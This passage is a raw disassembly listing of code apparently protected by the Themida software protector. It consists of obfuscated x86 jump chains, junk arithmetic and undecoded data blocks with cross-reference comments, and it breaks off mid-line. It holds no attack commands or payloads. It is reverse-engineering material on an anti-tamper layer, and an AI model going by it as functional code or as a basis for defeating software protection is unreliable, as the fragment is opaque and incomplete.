mov ecx, esp add ecx, 4 jmp loc_546DA0 ; --------------------------------------------------------------------------- loc_54E239: ; CODE XREF: Themida_:0055125Cj mov edx, 62053D73h shr edx, 8 and edx, 53C539C6h inc edx add edx, 758A0441h xor ecx, edx pop edx jmp loc_54A8E7 ; --------------------------------------------------------------------------- loc_54E256: ; CODE XREF: Themida_:00546BB3j mov edi, 4 add eax, edi pop edi jmp loc_54F8BB ; --------------------------------------------------------------------------- loc_54E263: ; CODE XREF: Themida_:loc_54BE18j ; Themida_:0054D8D4j ... push dword ptr [esp] push dword ptr [esp] push dword ptr [esp] jmp loc_546BFD ; --------------------------------------------------------------------------- db 33h, 0Ch, 24h dd 0E924248Bh, 0FFFFCBC7h, 4B850h, 0C3010000h, 0FA47E958h dd 0C483FFFFh, 28CF2C04h, 5BCF04F8h, 0D8007A04h, 0FFDCB2E9h dd 3BCD81FFh, 8177A515h, 0AF81C0EDh, 5DE8897Fh, 2158C289h dd 0BBE91C57h, 8300002Ah, 0EC8304C4h, 24148904h, 0EA885253h dd 885AD388h, 77885BDEh, 24148B38h, 0FF9A1FE9h, 0E9F001FFh dd 3F51h, 0E9240C8Bh, 0FFFFA813h dword_54E2E4 dd 9D1C77FFh, 19665866h, 0E99C2404h, 0FFFF81F7h, 774368h ; DATA XREF: Themida_:005462B8o dd 0B992E900h db 2 dup(0FFh) word_54E2FE dw 8B66h ; DATA XREF: Themida_:0054632Co dd 8150240Ch, 4ECh, 15F5E900h, 2C330000h, 4304E924h db 2 dup(0) word_54E316 dw 83ADh ; DATA XREF: Themida_:00546328o dd 0F00207Fh, 272E84h, 0D1BD5500h, 0F737161Ah, 45D5F7DDh dd 0D007ED81h, 92E9BDAEh db 0FEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E337: ; CODE XREF: Themida_:005506DCj mov ebp, 6E4B54BBh sub ebx, ebp pop ebp inc ebx not ebx shl ebx, 2 sub ebx, 1 push ebp jmp loc_549DFC ; --------------------------------------------------------------------------- db 29h, 0F5h, 8Bh dd 0C4812434h, 4, 315DE831h, 8F66C3h, 0FF8182E9h, 0E9D788FFh dd 0FFFFBFA1h, 24048F58h, 3C3FE9h, 24343300h, 33243431h dd 248B2434h, 24148B24h, 8904EC83h, 0E6892434h, 4C681h dd 0C6810000h, 4, 0E904EC83h, 2107h, 8158C329h, 0E90836C3h dd 1C87592Bh, 24248B24h, 0FFB0D7E9h db 0FFh ; --------------------------------------------------------------------------- loc_54E3B9: ; CODE XREF: Themida_:0054EB4Dj mov esi, 1 add ebp, esi mov esi, [esp] add esp, 4 jmp loc_551640 ; --------------------------------------------------------------------------- loc_54E3CE: ; CODE XREF: Themida_:0054DE9Bj sub esi, 611A3C93h sub esi, 64A56300h jmp loc_5477C3 ; --------------------------------------------------------------------------- loc_54E3DF: ; CODE XREF: Themida_:00550540j xor [esp], ebp jmp loc_550306 ; --------------------------------------------------------------------------- db 57h dd 42474FFh, 24048F5Fh, 0FFEF54E9h, 0C5815DFFh, 4, 82685750h dd 5F1D7933h, 3380EF81h, 58571D79h, 83243C8Bh, 0C58104C4h dd 0BAD4682h, 83E9C501h, 81FFFF86h, 55E688EFh, 21E5E900h dd 0C3810000h, 1A8654C9h, 1CC5E9h, 0A7E95800h, 5FFFFFE6h dd 4C481h, 71E90000h, 1FFFFAAh, 51042474h, 0AD73FFB9h dd 244C0136h, 240C8B08h, 0E904C483h, 2472h, 24048966h dd 0C0C0B551h, 0D5F606E5h, 8873ED80h, 0C30059E8h, 0C3805866h dd 80C30013h, 0EC8113EBh, 4, 0B2241489h, 0DAF280FDh, 8904EC83h dd 0EAB1240Ch, 5152C9FEh, 0EE887DB5h, 52C68059h, 3043F680h dd 0CA005AF1h, 83240C8Bh, 0D32804C4h, 0C0B60F5Ah, 0E987048Fh dd 0FFFF802Fh ; --------------------------------------------------------------------------- loc_54E4BC: ; CODE XREF: Themida_:00550E79j add esp, 4 push edi mov edi, 31363EF5h xor ebp, edi jmp loc_54D86C ; --------------------------------------------------------------------------- db 0B2h dd 0CCC28000h, 0FFDE52E9h, 3C3366FFh, 3C316624h, 48B6624h dd 2C48124h, 66000000h, 0E9240487h, 0FFFF7FF7h, 37E9E828h dd 81000034h, 0C503B8EFh, 23C78103h, 29611B29h, 0E0C15FF8h dd 57E0D104h, 843AA8BFh, 5FF8316Ch, 90826C35h, 58C5018Ch dd 2C581h, 22E90000h db 0E1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E52B: ; CODE XREF: Themida_:0054A2C5j mov ebp, 7FE71FB7h xor esi, ebp pop ebp mov edi, esi jmp loc_548030 ; --------------------------------------------------------------------------- dw 0E189h dd 4C181h, 7CE90000h, 5B00000Ch, 148BF030h, 0E3895324h dd 4C381h, 0BF570000h, 4, 410CE9h, 59686600h, 0C89661Dh dd 0B60F6624h, 9C5166C8h, 0FF7F76E9h, 70E956FFh, 89FFFFE1h dd 4C281E2h, 81000000h, 4C2h, 24148700h, 2424D35Ch, 0FF7F56E9h dd 0C4815FFFh, 4, 0B7E9F031h, 81000004h, 4C2h, 4C28100h dd 87000000h, 97E92414h db 0DDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E5B7: ; CODE XREF: Themida_:00549BEFj add eax, 127A0879h sub eax, edx sub eax, 127A0879h mov edx, [esp] jmp loc_54C2D7 ; --------------------------------------------------------------------------- db 89h dd 12E951C1h, 31FFFFC6h, 0C33240Ch, 0C4815C24h, 4, 4C481h dd 0C8850000h, 0F669E99Ch, 0BA52FFFFh, 4, 875AD329h, 895C241Ch dd 0E9502424h, 0FFFFC7A5h ; --------------------------------------------------------------------------- loc_54E604: ; CODE XREF: Themida_:0054EA0Aj mov ebp, [esp] push ecx jmp loc_54DD3D ; --------------------------------------------------------------------------- db 80h, 0C3h, 14h dd 0EB80F328h, 8EE95A14h, 89FFFFBBh, 4BF57E3h, 56000000h dd 0DF6226BEh, 5EF30178h, 0B951FB01h, 32E42FAEh, 3941E9h db 0, 59h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_54B13F ; --------------------------------------------------------------------------- loc_54E642: ; CODE XREF: Themida_:0054D78Aj dec ebx or ebx, 73D919DEh shl ebx, 3 add ebx, 0BB2E6085h sub ebp, ebx pop ebx shl ebp, 7 inc ebp push eax mov eax, 5B025298h sub eax, 67AE3D07h or eax, 26A2392Fh push edi jmp loc_5525C0 ; --------------------------------------------------------------------------- db 1 dd 7AE95EF0h, 2DFFFF89h, 10501Dh, 8158C101h, 4C1h, 240C8700h dd 0FF9C2AE9h, 9EF681FFh, 0E9280F73h, 0FFFF82A8h, 0E958C630h dd 0FFFFEDEDh, 802EB652h, 0FE3015CEh, 0FE30F730h, 3A60E9h dd 48B6600h, 0E3895324h, 4B951h, 0CB010000h, 57240C8Bh dd 0C781E789h, 4, 8704C783h, 685C243Ch, 690h, 0FFA00FE9h dd 0DE95CFFh db 0FBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E6E3: ; CODE XREF: Themida_:0054D2D9j push ebx mov ebx, 40E43048h shl ebx, 5 and ebx, 0ECA5A8Fh shl ebx, 3 xor ebx, 1AB05494h sub eax, ebx pop ebx jmp loc_5518B9 ; --------------------------------------------------------------------------- db 50h dd 758C6855h, 0B85D2392h, 2392758Eh, 15DE829h, 0BDB1E9C3h dd 0CCE9FFFFh, 0C0FFFF7Dh, 22E908E7h, 0E9FFFFE4h, 0FFFF7DBFh dd 5954515Dh, 4C181h, 0C1810000h, 4, 5C240C87h, 35E9C331h db 0EDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E747: ; CODE XREF: Themida_:00551030j pop ecx jmp loc_54EBF7 ; --------------------------------------------------------------------------- db 89h, 14h, 24h dd 4F45B3BAh, 0EA814A0Ch, 0C4F45AEh, 0A9E9D001h db 0D4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E763: ; CODE XREF: Themida_:0054749Aj mov edi, 49881D69h not edi push 0 jmp loc_5521F0 ; --------------------------------------------------------------------------- loc_54E774: ; CODE XREF: Themida_:0054BB1Ej mov ebx, 0 sub ebx, 5A495836h add ebx, eax add ebx, 5A495836h add dword ptr [ebx], 1 mov ebx, [esp] add esp, 4 mov eax, [esp] add esp, 4 loc_54E79C: ; CODE XREF: Themida_:0054A215j push 2DC5h mov [esp], esi push 238Ch mov [esp], ebp push ebx xor dword ptr [esp], 31363EF5h push dword ptr [esp] jmp loc_550E78 ; --------------------------------------------------------------------------- loc_54E7BC: ; CODE XREF: Themida_:0054D18Aj xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp add esp, 4 add esp, 4 jmp loc_5464EB ; --------------------------------------------------------------------------- dd 0E9241C87h, 0FFFFB88Fh, 0C9FEC281h, 0D60197FEh, 2A78E9h dd 6D0C6800h, 2C890000h, 6846BD24h, 81552C1Fh, 4805242Ch dd 815F53E2h, 0E24805C7h, 22C8E953h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54E80A: ; CODE XREF: Themida_:0054EA7Ej mov [esp], edx mov edx, 424B60C2h mov ebx, edx jmp loc_54D667 ; --------------------------------------------------------------------------- db 56h, 0BEh, 4 dd 1000000h, 78E95EF0h, 89FFFFAFh, 0C7095DE8h, 0F7D7F758h dd 53C781D7h, 29739B5Ch, 366FE9F8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54E83E: ; CODE XREF: Themida_:00548360j xchg esi, ebx not esi push ebx push esi jmp loc_54AB4E ; --------------------------------------------------------------------------- loc_54E849: ; CODE XREF: Themida_:00546640j pop ecx jmp loc_54B2B8 ; --------------------------------------------------------------------------- db 5Ch dd 0E9240431h, 0FFFF7C93h, 2C5BD800h, 58C328C3h, 25A268h dd 240C8900h, 0C580A5B5h, 0C0C5FE01h, 0ED8006E5h, 1DC38054h dd 75E9EB28h, 88FFFFDCh, 2E345BF8h, 0D9E9C288h, 54000010h dd 5B2434FFh, 0FF9998E9h db 0FFh ; --------------------------------------------------------------------------- loc_54E895: ; CODE XREF: Themida_:00550E97j sub eax, 0F361E092h add ebx, eax jmp loc_54DC0D ; --------------------------------------------------------------------------- db 59h, 0F6h, 0D4h dd 5866E788h, 0E905EFC0h, 0FFFFE645h, 7990F681h, 0C6817DBEh dd 83FA78AFh, 7FE9F789h, 33FFFFD6h, 1C31241Ch, 241C3324h dd 0B28AE95Ch, 0FE89FFFFh, 0E955525Fh, 0FFFFA143h, 6624248Bh dd 9C242CD3h, 0FF7C02E9h db 0FFh ; --------------------------------------------------------------------------- loc_54E8E9: ; CODE XREF: Themida_:0054C991j push esi push 76D2C5Dh mov esi, [esp] jmp loc_54F29C ; --------------------------------------------------------------------------- db 52h dd 0FFB8D1E9h, 2474FFFFh, 324DE904h, 0CE310000h, 0F3EA8159h dd 102A473h, 0F3C281F2h, 5E02A473h, 2474FF52h, 63E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54E922: ; CODE XREF: Themida_:0054E139j push ebx push esp pop ebx jmp loc_54DCC0 ; --------------------------------------------------------------------------- dw 0E959h dd 0FFFFBEE0h, 0E958E588h, 0FFFF7EE2h, 34FFFE01h, 350CE924h dd 0E1890000h, 0E9E38953h, 0FFFFC929h, 3304C083h, 81E92404h db 30h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54E957: ; CODE XREF: Themida_:0054ADF7j add ebp, 4 xchg ebp, [esp] pop esp xor esi, ebx pop ebx add esi, 0AF89FC95h and eax, esi mov esi, [esp] add esp, 4 jmp loc_54ECC3 ; --------------------------------------------------------------------------- dd 0CB2495BAh, 5BEDBE20h, 0D6317B89h, 0FFACC4E9h, 48F5AFFh dd 24248B24h, 0FF9B60E9h, 815E5BFFh, 4ECh, 243C8900h, 65EA68h dd 242C8900h, 345D6CBDh, 0AF9DBF25h, 0EF0149BAh, 0FFF8315Dh dd 0E95F2434h, 0F67h, 42474FFh, 83242C8Bh, 1C8904ECh, 81E38924h dd 4C3h, 80B1E900h, 0E951FFFFh, 0FFFFB304h dword_54E9DC dd 240C8B66h, 83E78957h, 48904ECh, 0A3BE5624h, 5174132Ah ; DATA XREF: Themida_:005462DCo dd 384F3FB9h, 81D1F746h, 856C16E1h, 0D8C1814Eh, 0E9364A12h dd 0FFFFF546h ; --------------------------------------------------------------------------- loc_54EA08: ; CODE XREF: Themida_:0054A260j and eax, ebp jmp loc_54E604 ; --------------------------------------------------------------------------- byte_54EA0F db 66h ; DATA XREF: Themida_:00546494o dd 68240C8Bh, 47BDh, 54242C89h, 244BE95Dh db 2 dup(0) ; --------------------------------------------------------------------------- loc_54EA22: ; CODE XREF: Themida_:0054B7BBj pop esp push 27A6h mov [esp], eax push 7452h mov [esp], ebx jmp loc_548E33 ; --------------------------------------------------------------------------- loc_54EA38: ; CODE XREF: Themida_:00548062j xor eax, 7239ACBEh push ecx mov ecx, eax mov esi, ecx pop ecx pop eax push edi mov edi, 19F56C79h and esi, edi pop edi jmp loc_54942E ; --------------------------------------------------------------------------- dw 0F730h dd 0D03DE95Ah, 0E95EFFFFh, 0FFFF7A8Bh, 348BF031h, 4C48124h dd 68000000h, 0C14h, 53243489h, 1D7BE9h db 0 ; --------------------------------------------------------------------------- loc_54EA79: ; CODE XREF: Themida_:0055006Bj push 0A28h jmp loc_54E80A ; --------------------------------------------------------------------------- loc_54EA83: ; CODE XREF: Themida_:00547D86j push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp sub esp, 4 mov [esp], edx push esi sub esp, 4 mov [esp], edx mov edx, 7E0A10E0h mov esi, 0D6FC45BCh add esi, edx jmp loc_550CC9 ; --------------------------------------------------------------------------- db 50h dd 0D56F89B8h, 1818E967h, 0E7810000h, 0C6A23BDh, 0FFE2EDE9h dd 24048BFFh, 4C481h, 0F2010000h, 19FAE95Eh, 5C010000h dd 0E95B0424h, 0FFFF7A03h, 4EC815Dh, 0E9000000h, 0FFFFB375h dword_54EAF4 dd 0E92434FFh, 6E2h, 79EAC781h, 0F7010074h, 79EAEF81h ; DATA XREF: Themida_:0054637Co dd 348B0074h, 4C48324h, 0E95751h, 55FFFFAEh, 1F94BA52h dd 0C2812CABh, 347A03C1h, 4242D2F7h, 0FFF561E9h, 4C483FFh dd 0FFD50DE9h, 81DEF7FFh, 0F723A1C6h, 0EBF7E96Dh, 4568FFFFh dd 0E900000Ah, 0FFFF83B1h ; --------------------------------------------------------------------------- loc_54EB4C: ; CODE XREF: Themida_:0054DFD1j push esi jmp loc_54E3B9 ; --------------------------------------------------------------------------- dw 0B951h dd 32D0306Fh, 0EAB0E981h, 0CF891DB8h, 0D7BAE959h, 4B8FFFFh dd 0E9000000h, 187Ah, 31242C33h, 2C33242Ch, 0DB8DE924h dd 0F281FFFFh, 0E934E798h, 15AD601h, 0C967E9D6h, 465EFFFFh dd 0FAF7E946h, 1487FFFFh, 48B5C24h, 4EC8324h, 0E9243489h dd 0FFFFACDDh ; --------------------------------------------------------------------------- loc_54EBA8: ; CODE XREF: Themida_:00549A21j pop ebp xchg esi, edx xor eax, edx xor edx, eax jmp loc_5514AA ; --------------------------------------------------------------------------- dd 0E904EFC1h, 0FFFF7D14h, 0E6482F68h, 0C2815A59h, 6FC30085h dd 0DAE94A42h, 6600002Fh, 8166DDF7h, 660BD9F5h, 665DE901h dd 7E5BE981h, 0FFEACFE9h db 0FFh ; --------------------------------------------------------------------------- loc_54EBE5: ; CODE XREF: Themida_:0054B59Fj sub esp, 4 mov [esp], edi mov edi, ebx push 1C52h jmp loc_54A56C ; --------------------------------------------------------------------------- loc_54EBF7: ; CODE XREF: Themida_:0054E748j sub esp, 4 mov [esp], eax push 7C4F23EEh mov eax, [esp] jmp loc_548A55 ; --------------------------------------------------------------------------- loc_54EC0A: ; CODE XREF: Themida_:00549EA4j add esp, 4 mov edx, esi mov esi, [esp] add esp, 4 and eax, edx pop edx shr eax, 18h jmp loc_54B387 ; --------------------------------------------------------------------------- loc_54EC23: ; CODE XREF: Themida_:0054D28Ej push esi mov esi, 4 add edx, esi pop esi jmp loc_54D460 ; --------------------------------------------------------------------------- db 81h, 0C5h, 0C0h dd 0E901D631h, 3838h, 8C0A12BAh, 0DBF28149h, 0E9463A7Bh dd 2276h ; --------------------------------------------------------------------------- loc_54EC4C: ; CODE XREF: Themida_:0054C664j and ebx, edi mov edi, [esp] add esp, 4 inc ebx neg ebx push eax mov eax, 5B0D6885h and eax, 214B06C6h and eax, 6F594DAAh jmp loc_5486A7 ; --------------------------------------------------------------------------- dd offset aProtocolString+13h align 4 dd 0FFE158E9h, 48966FFh, 7869E924h, 0C8BFFFFh, 4C48124h dd 58000000h, 91E9535Ah, 83FFFFD2h, 0C98104C4h, 5F24320Dh dd 7448BA52h, 67E97515h db 0Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54ECA7: ; CODE XREF: Themida_:0054DE8Ej xor [esp], eax xor eax, [esp] pop esp mov [esp], ebx push dword ptr [esp] pop eax push edx mov edx, esp add edx, 4 jmp loc_54B1BA ; --------------------------------------------------------------------------- loc_54ECC3: ; CODE XREF: Themida_:0054E96Fj shr eax, 12h xor eax, ecx push 33C0h mov [esp], ecx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop ecx add ecx, 4 push ebp push edx mov edx, 64926268h add edx, 0FFFFFFFFh shl edx, 5 and edx, 3ED64988h jmp loc_552881 ; --------------------------------------------------------------------------- dd 4C481h, 0B9510000h, 6E391C1Dh, 2959C829h, 1C1D05D8h dd 0CB2D6E39h, 5113B92Dh, 865686B9h, 4E9C13Dh, 0FF9AB7E9h db 0FFh ; --------------------------------------------------------------------------- loc_54ED25: ; CODE XREF: Themida_:005498A6j pop eax add bh, dh jmp loc_547DD2 ; --------------------------------------------------------------------------- byte_54ED2D db 0FFh, 34h, 24h ; DATA XREF: Themida_:0054620Co dd 582434FFh, 2562E9h, 89535C00h, 4C381E3h, 83000000h dd 1C8704C3h, 0E1F75C24h, 4CAA68h, 24148900h, 90E99C50h db 77h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54ED5B: ; CODE XREF: Themida_:00546C6Ej mov ebx, 3D761BBAh add eax, ebx jmp loc_547434 ; --------------------------------------------------------------------------- db 8Bh dd 0C3812424h, 4, 8702C383h, 665C241Ch, 9C2404FFh, 0FF776AE9h dd 0B9515EFFh, 2C904DFFh, 831BE950h, 0FA29FFFFh, 0FFDA14E9h dd 0EB81FFh, 0E9014040h, 0FFFF8CBBh, 8324248Bh, 3C8904ECh dd 835F5424h, 348904ECh, 4BE24h, 0F7010000h, 5024348Bh dd 405E089h, 5000000h, 4, 5C240487h, 1348E951h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54EDD2: ; CODE XREF: Themida_:0054F21Dj and eax, ebx jmp loc_54B53B ; --------------------------------------------------------------------------- loc_54EDD9: ; CODE XREF: Themida_:0055260Aj push esi jmp loc_54F110 ; --------------------------------------------------------------------------- db 0BFh dd 7DF398Ah, 6F366855h, 0B3E93E36h, 8FFFFFCDh, 4832404h dd 525F0424h, 0E175B1BAh, 9C28142h, 81447555h, 0B925F2C2h dd 0ECC2813Bh, 6818FB43h, 0 dd 0E9241429h, 0FFFFD9D9h, 24048F5Eh, 240CD35Ch, 0E51AE99Ch dd 0DE29FFFFh, 2C6815Bh, 1167017h, 2EE81FEh, 81167017h dd 0E07C88C6h, 3BEE8105h, 0FF2B796Ch, 0ECE92434h, 87FFFFF5h dd 5C2434h, 0ECC0E9C3h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54EE5A: ; CODE XREF: Themida_:0054F112j push ebp mov ebp, 4 add esi, ebp jmp loc_5483FC ; --------------------------------------------------------------------------- db 2Dh dd 9A515B79h, 0B958C389h, 224B3CF7h, 81FE9h db 0 ; --------------------------------------------------------------------------- loc_54EE79: ; CODE XREF: Themida_:00550A17j mov eax, 2A2F28A2h add esi, eax mov eax, [esp] jmp loc_549EFA ; --------------------------------------------------------------------------- dd 0F94EE95Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54EE8E: ; CODE XREF: Themida_:0054B0A7j mov ebp, 24h push edi mov edi, ebp mov eax, edi pop edi push dword ptr [esp] pop ebp add esp, 4 sub eax, 5D152ACFh jmp loc_54671D ; --------------------------------------------------------------------------- word_54EEAA dw 68h ; DATA XREF: Themida_:00546348o dd 0FF000000h, 1C8B2434h, 202AE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54EEBA: ; CODE XREF: Themida_:00548CC4j sub esp, 4 mov [esp], edx jmp loc_547CAB ; --------------------------------------------------------------------------- db 5Eh, 50h, 89h dd 0E9C389C8h, 664h dword_54EED0 dd 4EC81ADh, 89000000h, 51BF243Ch, 0E92ABF64h, 0FFFF7F1Eh ; DATA XREF: Themida_:0054638Co dd 4EE815Ah, 0E9000000h, 0FFFFB455h, 86CA815Eh, 814BC115h dd 4ECh, 24348900h, 4EC81h, 14890000h, 0BB535524h, 31A36C96h dd 78E9DD89h, 87FFFFE8h, 4A5C2404h, 0D6F7F287h, 0C283F287h dd 0EEA8101h, 5BB636Ah, 4CC2642Ah, 0BB53D001h, 4CC2642Ah dd 0E95BD829h, 0FFFF783Eh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_5520F3 ; --------------------------------------------------------------------------- dword_54EF54 dd 8B2434FFh, 0ADE92404h, 53FFFFDBh, 3433E1BBh, 38C38153h ; DATA XREF: Themida_:00546400o dd 892BF92Dh, 0AB83E9DDh, 8B66FFFFh, 0E4E92404h, 0FFFFFFA4h dd 7569E930h, 0E981FFFFh, 18775B81h, 0C181F901h, 18775B81h dd 0FAE981h, 3C8B7FE2h, 4C48124h, 68000000h, 3663h, 0FF240C89h dd 59042474h, 5C24048Fh, 0FFF6FCE9h, 0E3BB53FFh, 92B8521h dd 13685BDEh, 8900001Dh, 8952242Ch, 4C281E2h, 0E9000000h dd 0FFFFCFCEh, 0FF243C89h, 5F042474h, 0E924048Fh, 1E7h ; --------------------------------------------------------------------------- loc_54EFE4: ; CODE XREF: Themida_:00547A0Dj add ebx, 48521057h shr ebx, 2 add ebx, 0F814CBF0h add esi, ebx pop ebx add esi, 4 xchg esi, [esp] jmp loc_550685 ; --------------------------------------------------------------------------- loc_54F001: ; CODE XREF: Themida_:0054BAC4j add esp, 4 push ebp mov ebp, esp push edi push eax mov eax, 57D377AAh jmp loc_5482B1 ; --------------------------------------------------------------------------- db 89h dd 0E589242Ch, 4C581h, 9DE90000h db 19h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54F023: ; CODE XREF: Themida_:005468C5j shl edx, 8 inc edx xor edx, 7650005Dh sub edx, 9E4FCA58h add ebp, edx pop edx jmp loc_54D76A ; --------------------------------------------------------------------------- aIIis7 db '┬щ[┬КИ7',0Dh,0 db 0 ; --------------------------------------------------------------------------- loc_54F045: ; CODE XREF: Themida_:00548076j mov edi, esp jmp loc_54C784 ; --------------------------------------------------------------------------- loc_54F04C: ; CODE XREF: Themida_:005470DCj sub esp, 4 mov [esp], ebx jmp loc_548DD8 ; --------------------------------------------------------------------------- db 0B8h dd 0A412665h, 59EABF57h, 30E91583h, 8000001Dh, 0D58867F2h dd 0E924148Bh, 0FFFFF05Ch ; --------------------------------------------------------------------------- loc_54F074: ; CODE XREF: Themida_:0054BACBj push 783Fh jmp loc_54A3F2 ; --------------------------------------------------------------------------- dw 0C681h dd 2, 31243433h, 34332434h, 9913E924h db 2 dup(0FFh) word_54F092 dw 2DADh ; DATA XREF: Themida_:0054624Co dd 7A707A16h, 8904EC83h, 0FDBF243Ch, 810F464Fh, 6407B5E7h dd 684705h, 29000000h, 815F243Ch, 961642F7h, 29F78167h dd 29E6E9A0h, 6E2D5FF8h, 57E7A43h, 3D8948B7h, 0EBE9D801h db 0BFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F0D3: ; CODE XREF: Themida_:00546BFEj push 6B41h jmp loc_54BEBF ; --------------------------------------------------------------------------- loc_54F0DD: ; CODE XREF: Themida_:00548C49j add esp, 4 and eax, esi jmp loc_54D12C ; --------------------------------------------------------------------------- dw 0E380h dd 8EBDE91Dh db 2 dup(0FFh) word_54F0F2 dw 8B66h ; DATA XREF: Themida_:00546418o dd 81522404h, 4ECh, 24248900h, 4240481h, 8B000000h, 0E9502414h dd 2461h ; --------------------------------------------------------------------------- loc_54F110: ; CODE XREF: Themida_:0054EDDAj mov esi, esp jmp loc_54EE5A ; --------------------------------------------------------------------------- db 66h dd 0E69DE951h db 2 dup(0FFh) word_54F11E dw 8B66h ; DATA XREF: Themida_:00546340o dd 68552404h, 6303h, 24048F54h, 4240483h, 0FF8860E9h, 241C89FFh dd 0FFF74EE9h, 243489FFh, 142E68h, 93F6E900h, 0C328FFFFh dd 0DA885258h, 5350DAF6h, 0FFF210E9h db 0FFh ; --------------------------------------------------------------------------- loc_54F159: ; CODE XREF: Themida_:0054CB62j shr ecx, 7 push ebx push ebp push ecx push eax mov eax, 56041F85h mov ecx, eax jmp loc_54B93F ; --------------------------------------------------------------------------- loc_54F16C: ; CODE XREF: Themida_:0054F2ADj push eax mov eax, 60770BFDh jmp loc_55277E ; --------------------------------------------------------------------------- db 0B6h dd 0E9526674h, 291Ah ; --------------------------------------------------------------------------- loc_54F180: ; CODE XREF: Themida_:00550CC4j pop ecx add esp, 4 xor bl, al movzx eax, al jmp dword ptr [edi+eax*4] ; --------------------------------------------------------------------------- db 61h, 0C3h word_54F18E dw 8B66h ; DATA XREF: Themida_:00546208o dd 68552404h, 4ABDh, 0E9242489h, 0FFFF89F2h, 0FF7346E9h dd 4EC83FFh, 0BA241489h, 4, 42E3C681h, 0D6013A4Ah, 0BD4B850h dd 0BEE906FFh, 83FFFF8Fh, 65E904E9h, 8BFFFFA5h, 14892424h dd 1CB96824h, 4890000h, 7A77E924h, 8358FFFFh, 348904ECh dd 0FFE95424h, 8100002Fh, 2EFF82F1h, 34815171h, 0AD404A24h dd 4A35584Dh, 594DAD40h, 6858C601h, 42BCh, 0FFBC71E9h db 0FFh ; --------------------------------------------------------------------------- loc_54F20D: ; CODE XREF: Themida_:0054853Bj add eax, 4 jmp loc_546BAA ; --------------------------------------------------------------------------- loc_54F217: ; CODE XREF: Themida_:0054DBB0j xor ebx, 511B0146h jmp loc_54EDD2 ; --------------------------------------------------------------------------- dw 0C8Bh dd 4C48124h, 29000000h, 240C8BCAh, 4C481h, 0BD550000h dd 5FED7D28h, 815DEA01h, 0AA3537EAh, 0E4C2811Fh, 29181045h dd 0E4EA81C2h, 81181045h, 0AA3537C2h, 0C444E91Fh, 0F681FFFFh dd 0B923C6F5h, 895EF531h, 38255DE8h, 2D7AE629h, 0F425D8ECh dd 0E958C121h, 67h, 15EF289h, 1C335AD3h, 241C3124h, 8B241C33h dd 0CFE92424h, 59FFFF9Dh, 0E902EC83h, 0FFFFB16Bh ; --------------------------------------------------------------------------- loc_54F29C: ; CODE XREF: Themida_:0054E8F2j push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp jmp loc_54F16C ; --------------------------------------------------------------------------- dw 0F581h aSQH6p db 0Ah db ' "S)О]h6P',0 align 10h dd 56241489h, 40626C68h, 0A627E96Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F2CE: ; CODE XREF: Themida_:0054CE4Dj pop esp mov [esp], esi push ebx jmp loc_54B7F0 ; --------------------------------------------------------------------------- dd 5331B951h, 46E94EE7h, 57FFFF9Fh, 16AAB850h, 0C789D457h dd 0B922E958h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F2F2: ; CODE XREF: Themida_:0054FFA6j mov edi, 3D43227h shl edi, 5 sub edi, 640F634Fh push esi mov esi, 368D474Dh add edi, esi pop esi and edi, 6FCE2191h sub edi, 4A96FC89h or ebp, edi pop edi jmp loc_55040D ; --------------------------------------------------------------------------- db 0E9h, 0C9h, 71h dd 5258FFFFh, 0FF7F41E9h, 0EFC05AFFh, 2E7C006h, 6866D7F6h dd 7CE9098Ch, 5EFFFFD4h, 8B24048Fh, 4812424h, 705F8724h dd 242C8138h, 122E6DDDh, 0FFB3E5E9h, 0C5815BFFh, 2, 81E38953h dd 4C3h, 4EB8300h, 0FFF467E9h, 0E0E680FFh, 803FF680h, 0F30061C6h db 5Ah, 28h, 0C3h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edx push eax jmp loc_54A7C7 ; --------------------------------------------------------------------------- loc_54F394: ; CODE XREF: Themida_:00548D76j mov ebp, eax jmp loc_54D96A ; --------------------------------------------------------------------------- db 0C0h dd 0F9E903E6h, 5AFFFFA2h, 4C481h, 0C1810000h, 2, 5C240C87h dd 66E9F766h, 0E9339B68h, 0FFFFD6E0h, 54240489h, 8324048Bh dd 0BE5604C4h, 4, 0E95EF001h, 378h, 4DE95052h, 1FFFF88h dd 0CBE959CEh, 68FFFFC8h, 74C65595h, 4EFC15Fh, 0B3E9EFD1h dd 1FFFFD1h, 685A5DE8h, 1358h, 51241C89h, 0F2432CB9h, 0C1D9F739h dd 856807E1h, 8900002Ah, 0A1BA2414h, 8134B03Fh, 96599AE2h dd 3407E91Dh db 2 dup(0) ; --------------------------------------------------------------------------- loc_54F426: ; CODE XREF: Themida_:005476C4j xor al, 30h push 19EDh mov [esp], ebx mov bh, al jmp loc_54F5B4 ; --------------------------------------------------------------------------- db 0E9h dd 0FFFF70AFh, 24048F5Ch, 6624248Bh, 2404B30Fh, 709DE99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F44E: ; CODE XREF: Themida_:005485AFj pop eax sub ecx, ebp pop ebp push ebx jmp loc_5483A0 ; --------------------------------------------------------------------------- loc_54F458: ; CODE XREF: 